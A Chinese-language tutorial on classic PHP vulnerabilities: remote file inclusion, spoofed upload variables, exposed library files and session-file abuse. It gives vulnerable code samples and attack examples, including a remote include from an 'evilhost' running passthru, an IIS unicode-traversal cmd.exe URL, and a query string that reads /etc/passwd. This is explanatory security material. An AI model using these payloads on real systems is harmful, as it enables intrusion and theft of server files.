網(wǎng)絡(luò)腳本編程使用之PHP漏洞面面觀

想起大牛們說過的一句話， 網(wǎng)絡(luò)沒有永遠(yuǎn)的安全， 隨著PHP的廣泛運(yùn)用， 被大家廣泛使用的PHP編程語言也一樣不是固若金湯， 一些黑客們也在無時(shí)不想找PHP的麻煩， 通過PHP程序漏洞進(jìn)行攻擊就是其中一種， 比如， 全局變量， 遠(yuǎn)程文件， 文件上載， 庫文件， Session文件， 數(shù)據(jù)類型和容易出錯(cuò)的函數(shù)等等， PHP本身特性決定著他也不是一定安全的， 下面我們就這幾個(gè)方面給大家分析下， 了解PHP的安全性。

如何通過遠(yuǎn)程文件進(jìn)行攻擊？

PHP是一種具有豐富特性的語言， 提供了大量的函數(shù)， 使編程者很容易實(shí)現(xiàn)特定功能。 但是從安全的角度來看， 功能越多， 要保證它的安全性就越難， 遠(yuǎn)程文件就佐證這個(gè)問題的一個(gè)很好例子：

PHP代碼

<?php  

if (!($fd = fopen("$filename", "r"))  

echo("Could not open file: $filename＜BR＞\n");  

?>    

　　上面的腳本試圖打開文件"$filename"， 如果失敗就顯示錯(cuò)誤信息。 很明顯， 如果我們能夠指定"$filename"的話， 就能利用這個(gè)腳本瀏覽系統(tǒng)中的任何文件。 但是， 這個(gè)腳本還存在一個(gè)不太明顯的特性， 那就是它可以從任何其它WEB或FTP站點(diǎn)讀取文件。 實(shí)際上， PHP的大多數(shù)文件處理函數(shù)對(duì)遠(yuǎn)程文件的處理是透明的。

例如：

如果指定"$filename"為 "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

則上面的代碼實(shí)際上是利用主機(jī)target上的unicode漏洞， 執(zhí)行了dir命令。 這使得支持遠(yuǎn)程文件的include()， require()， include_once()和require_once()在上下文環(huán)境中變得更有趣。 這些函數(shù)主要功能是包含指定文件的內(nèi)容， 并且把它們按照PHP代碼解釋， 主要是用在庫文件上。

例如：

PHP代碼

<?php  

include($libdir . "/languages.php");  

?>  

　　上例中"$libdir"一般是一個(gè)在執(zhí)行代碼前已經(jīng)設(shè)置好的路徑， 如果攻擊者能夠使得"$libdir"沒有被設(shè)置的話， 那么他就可以改變這個(gè)路徑。 但是攻擊者并不能做任何事情， 因?yàn)樗麄冎荒茉谒麄冎付ǖ穆窂街性L問文件languages.php（perl中的"Poisonnull byte"攻擊對(duì)PHP沒有作用）。 但是由于有了對(duì)遠(yuǎn)程文件的支持， 攻擊者就可以做任何事情。 例如， 攻擊者可以在某臺(tái)服務(wù)器上放一個(gè)文件languages.php， 包含如下內(nèi)容：

PHP代碼

<?php  

passthru("/bin/ls /etc");  

?>  

　　然后把"$libdir"設(shè)置為"http://＜evilhost＞/"， 這樣我們就可以在目標(biāo)主機(jī)上執(zhí)行上面的攻擊代碼， "/etc"目錄的內(nèi)容將作為結(jié)果返回到客戶的瀏覽器中。

需要注意的是， 攻擊代碼是不會(huì)在自身所在的服務(wù)器（也就是evilhost）上執(zhí)行執(zhí)行自身PHP程序的， 否則， 攻擊代碼會(huì)攻擊自身所在的服務(wù)器， 而不是在目標(biāo)服務(wù)器執(zhí)行。

如何通過文件上載進(jìn)行攻擊？

PHP自動(dòng)支持基于RFC 1867的文件上載， 我們看下面的例子：

PHP代碼

<FORM METHOD="POST" ENCTYPE="multipart/form-data">  

<INPUT TYPE="FILE" NAME="hello">  

<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">  

<INPUT TYPE="SUBMIT">  

</FORM>    

　　上面的代碼讓用戶從本地機(jī)器選擇一個(gè)文件， 當(dāng)點(diǎn)擊提交后， 文件就會(huì)被上載到服務(wù)器。 這顯然是很有用的功能， 但是PHP的響應(yīng)方式將使這項(xiàng)功能變得不安全。 當(dāng)PHP第一次接到這種請(qǐng)求， 甚至在它開始解析被調(diào)用的PHP代碼之前， 它會(huì)先接受遠(yuǎn)程用戶的文件， 檢查文件的長度是否超過"$MAX_FILE_SIZE variable"定義的值， 如果通過這些測(cè)試的話， 文件就會(huì)被存在本地的一個(gè)臨時(shí)目錄中。

因此， 攻擊者可以發(fā)送任意文件給運(yùn)行PHP的主機(jī)， 在PHP程序還沒有決定是否接受文件上載時(shí)， 文件已經(jīng)被存在服務(wù)器上了。

讓我們考慮一下處理文件上載的PHP程序， 正如我們上面說的， 文件被接收并且是存在服務(wù)器上（位置是在配置文件中指定的， 一般是/tmp）， 擴(kuò)展名一般是隨機(jī)的， 類似"phpxXuoXG"的形式。 PHP程序需要上載文件的信息以便處理它， 這可以通過兩種方式， 一種方式是在PHP3中已經(jīng)使用的， 另一種是在我們對(duì)以前的方法提出安全公告后引入的。

大多數(shù)PHP程序還是使用老的方式來處理上載文件。 PHP設(shè)置了四個(gè)全局變量來描述上載文件， 比如說上面的例子：

PHP代碼

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")  

$hello_size = Size in bytes of file (e.g 1024)  

$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt")  

$hello_type = Mime type of uploaded file (e.g "text/plain")    

　　然后， PHP程序開始處理根據(jù)"$hello"指定的文件。 問題在于"$hello"不一定是一個(gè)PHP設(shè)置的變量， 任何遠(yuǎn)程用戶都可以指定它。 如果我們使用下面的方式：

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt 

就導(dǎo)致了下面的PHP全局變量（當(dāng)然POST方式也可以（甚至是Cookie））：

PHP代碼

$hello = "/etc/passwd"  

$hello_size = 10240  

$hello_type = "text/plain"  

$hello_name = "hello.txt"    

　　上面的表單數(shù)據(jù)正好滿足了PHP程序所期望的變量， 但是這時(shí)PHP程序不再處理本應(yīng)在上載者本機(jī)上的上載文件， 而是處理服務(wù)器上"/etc/passwd"（通常會(huì)導(dǎo)致內(nèi)容暴露）文件。 這種攻擊可以用于暴露任何敏感文件的內(nèi)容。

新版本的PHP使用HTTP_POST_FILES[]來決定上載文件， 同時(shí)也提供了很多函數(shù)來解決這個(gè)問題， 例如有一個(gè)函數(shù)用來判斷某個(gè)文件是不是實(shí)際上載的文件。 但是實(shí)際上肯定有很多PHP程序仍然使用舊的方法， 所以也很容易受到這種攻擊。

作為文件上載的攻擊方法的一個(gè)變種， 我們看一下下面的一段代碼：

PHP代碼

<?php  

if (file_exists($theme)) // Checks the file exists on the local system (noremote files)  

include("$theme");  

?>   

　　如果攻擊者可以控制"$theme"的話， 很顯然它可以利用"$theme"來讀取遠(yuǎn)程系統(tǒng)上的任何文件。 攻擊者的最終目標(biāo)是在遠(yuǎn)程服務(wù)器上執(zhí)行任意指令， 但是他無法使用遠(yuǎn)程文件， 因此， 他必須得在遠(yuǎn)程服務(wù)器上創(chuàng)建一個(gè)PHP文件。 這乍看起來好象是不可能的， 但是文件上載幫了我們這個(gè)忙， 如果攻擊者先在本地機(jī)器上創(chuàng)建一個(gè)包含PHP代碼的文件， 然后創(chuàng)建一個(gè)包含名為"theme"的文件域的表單， 最后用這個(gè)表單通過文件上載把創(chuàng)建的包含PHP代碼的文件提交給上面的代碼， PHP就會(huì)把攻擊者提交的文件保存起來， 并把"$theme"的值設(shè)置為攻擊者提交的文件， 這樣file_exists()函數(shù)會(huì)檢查通過， 攻擊者的代碼也將執(zhí)行。

獲得執(zhí)行任意指令的能力之后， 攻擊者顯然想提升權(quán)限或者是擴(kuò)大戰(zhàn)果， 而這又需要一些服務(wù)器上沒有的工具集， 而文件上載又一次幫了攻擊者的忙。 攻擊者可以使用文件上載功能上載工具， 把她們存在服務(wù)器上， 然后利用他們執(zhí)行指令的能力， 使用chmod()改變文件的權(quán)限， 然后執(zhí)行。 例如：攻擊者可以繞過防火墻或IDS上載一個(gè)本地root攻擊程序， 然后執(zhí)行， 這樣就獲得了root權(quán)限。

如何通過庫文件進(jìn)行攻擊？

正如我們前面討論的那樣， include()和require()主要是為了支持代碼庫， 因?yàn)槲覀円话闶前岩恍┙?jīng)常使用的函數(shù)放到一個(gè)獨(dú)立的文件中， 這個(gè)獨(dú)立的文件就是代碼庫， 當(dāng)需要使用其中的函數(shù)時(shí)， 我們只要把這個(gè)代碼庫包含到當(dāng)前的文件中就可以了。

最初， 人們開發(fā)和發(fā)布PHP程序的時(shí)候， 為了區(qū)別代碼庫和主程序代碼， 一般是為代碼庫文件設(shè)置一個(gè)".inc"的擴(kuò)展名， 但是他們很快發(fā)現(xiàn)這是一個(gè)錯(cuò)誤， 因?yàn)檫@樣的文件無法被PHP解釋器正確解析為PHP代碼。 如果我們直接請(qǐng)求服務(wù)器上的這種文件時(shí)， 我們就會(huì)得到該文件的源代碼， 這是因?yàn)楫?dāng)把PHP作為Apache的模塊使用時(shí)， PHP解釋器是根據(jù)文件的擴(kuò)展名來決定是否解析為PHP代碼的。 擴(kuò)展名是站點(diǎn)管理員指定的， 一般是".php"， ".php3"和".php4"。 如果重要的配置數(shù)據(jù)被包含在沒有合適的擴(kuò)展名的PHP文件中， 那么遠(yuǎn)程攻擊者很容易得到這些信息。

最簡單的解決方法就是：給每個(gè)文件都指定一個(gè)PHP文件的擴(kuò)展名， 這樣可以很好的防止泄露源代碼的問題， 但是又產(chǎn)生了新的問題， 通過請(qǐng)求這個(gè)文件， 攻擊者可能使本該在上下文環(huán)境中運(yùn)行的代碼獨(dú)立運(yùn)行， 這可能導(dǎo)致前面討論的全部攻擊。

下面是一個(gè)很明顯的例子：

PHP代碼

In main.php:   

<?php   

$libDir = "/libdir";   

$langDir = "$libdir/languages";   

...   

include("$libdir/loadlanguage.php":   

?>   

In libdir/loadlanguage.php:   

<?php   

...   

include("$langDir/$userLang");   

?>    

　　當(dāng)"libdir/loadlanguage.php"被"main.php"調(diào)用時(shí)是相當(dāng)安全的， 但是因?yàn)?quot;libdir/loadlanguage"具有".php"的擴(kuò)展名， 因此遠(yuǎn)程攻擊者可以直接請(qǐng)求這個(gè)文件， 并且可以任意指定"$langDir"和"$userLang"的值。

如何通過Session文件進(jìn)行攻擊？

PHP 4或更新的版本提供了對(duì)sessions的支持， 它的主要作用是在PHP程序中保存頁與頁之間的狀態(tài)信息。 例如， 當(dāng)一個(gè)用戶登陸進(jìn)入網(wǎng)站， 他登陸了的這個(gè)事實(shí)以及誰登陸進(jìn)入這個(gè)網(wǎng)站的相關(guān)信息都將被保存在session中， 當(dāng)他在網(wǎng)站中到處瀏覽時(shí)， 所有的PHP代碼都可以獲得這些狀態(tài)信息。

事實(shí)上， 當(dāng)一個(gè)session啟動(dòng)時(shí)（實(shí)際上是在配置文件中設(shè)置為在第一次請(qǐng)求時(shí)自動(dòng)啟動(dòng)）， 就會(huì)生成一個(gè)隨機(jī)的"session id"， 如果遠(yuǎn)程瀏覽器總是在發(fā)送請(qǐng)求時(shí)提交這個(gè)"session id"的話， session就會(huì)一直保持。 這通過Cookie很容易實(shí)現(xiàn)， 也可以通過在每頁提交一個(gè)表單變量（包含"session id"）來實(shí)現(xiàn)。 PHP程序可以用session注冊(cè)一個(gè)特殊的變量， 它的值會(huì)在每個(gè)PHP腳本結(jié)束后存在session文件中， 也會(huì)在每個(gè)PHP腳本開始前加載到變量中。 下面是一個(gè)簡單的例子：

PHP代碼

<?php   

session_destroy(); // Kill any data currently in the session   

$session_auth = "shaun";   

session_register("session_auth"); // Register $session_auth as a session variable   

?>    

新版本的PHP都會(huì)自動(dòng)把"$session_auth"的值設(shè)置為"shaun"， 如果它們被修改的話， 以后的腳本都會(huì)自動(dòng)接受修改后的值， 這對(duì)無狀態(tài)的Web來說的確是種很不錯(cuò)的工具， 但是我們也應(yīng)該小心。

一個(gè)很明顯的問題就是確保變量的確來自session， 例如， 給定上面的代碼， 如果后續(xù)的腳本是下面這樣的話：

PHP代碼

<?php   

if (!emptyempty($session_auth))   

// Grant access to site here   

?>  

　　上面的代碼假定如果"$session_auth"被賦值的話， 就是從session， 而不是從用戶輸入來賦值的， 如果攻擊者通過表單輸入來賦值的話， 他就可以獲得對(duì)站點(diǎn)的訪問權(quán)。 注意攻擊者必須在session注冊(cè)該變量之前使用這種攻擊方法， 一旦變量被放進(jìn)了session， 就會(huì)覆蓋任何表單輸入。

Session數(shù)據(jù)一般是保存在文件中（位置是可配置的， 一般是"/tmp"）， 文件名一般是類似"sess_<session id>"的形式， 這個(gè)文件包含變量名稱， 變量類型， 變量值和一些其它的數(shù)據(jù)。 在多主機(jī)系統(tǒng)中， 因?yàn)槲募�是以運(yùn)行Web服務(wù)器的用戶身份（一般是nobody）保存的， 因此惡意的站點(diǎn)擁有者就可以通過創(chuàng)建一個(gè)session文件來獲得對(duì)其它站點(diǎn)的訪問， 甚至可以檢查session文件中的敏感信息。

Session機(jī)制也為攻擊者把自己的輸入保存在遠(yuǎn)程系統(tǒng)的文件中提供了另一個(gè)方便。 對(duì)于上面的例子來說， 攻擊者需要在遠(yuǎn)程系統(tǒng)放置一個(gè)包含PHP代碼的文件， 如果不能利用文件上載做到的話， 他通常會(huì)利用session為一個(gè)變量按照自己的意愿賦一個(gè)值， 然后猜測(cè)session文件的位置， 而他知道文件名是"php<session id>"， 所以只需猜測(cè)目錄， 而目錄一般就是"/tmp"。

另外， 攻擊者可以任意指定"session id"（例如"hello"）， 然后用這個(gè)"session id"創(chuàng)建一個(gè)session文件（例如"/tmp/sess_hello"）， 但是"session id"只能是字母和數(shù)字組合。